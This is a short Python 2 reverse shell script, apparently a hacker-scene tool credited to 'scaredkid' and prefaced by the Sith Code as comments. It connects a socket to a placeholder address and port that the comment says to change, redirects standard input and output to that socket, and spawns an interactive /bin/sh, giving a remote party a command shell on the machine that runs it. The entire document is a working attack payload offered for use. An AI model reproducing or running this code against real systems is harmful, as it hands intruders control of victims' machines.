#!/usr/bin/env python # Peace is a lie, there is only passion. # Through passion, I gain strength. # Through strength, I gain power. # Through power, I gain victory. # Through victory, my chains are broken. # The Force shall free me. import socket,subprocess,os,sys,time,pty s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("127.0.0.1",1337)); #Change this ip,port os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); time.sleep(5) pty.spawn(["/bin/sh","-i"]); print 'http://scaredkid.org/ tcpsh.py\n' print 'Coded by scaredkid\n' print 'Session ended!\n' #EOF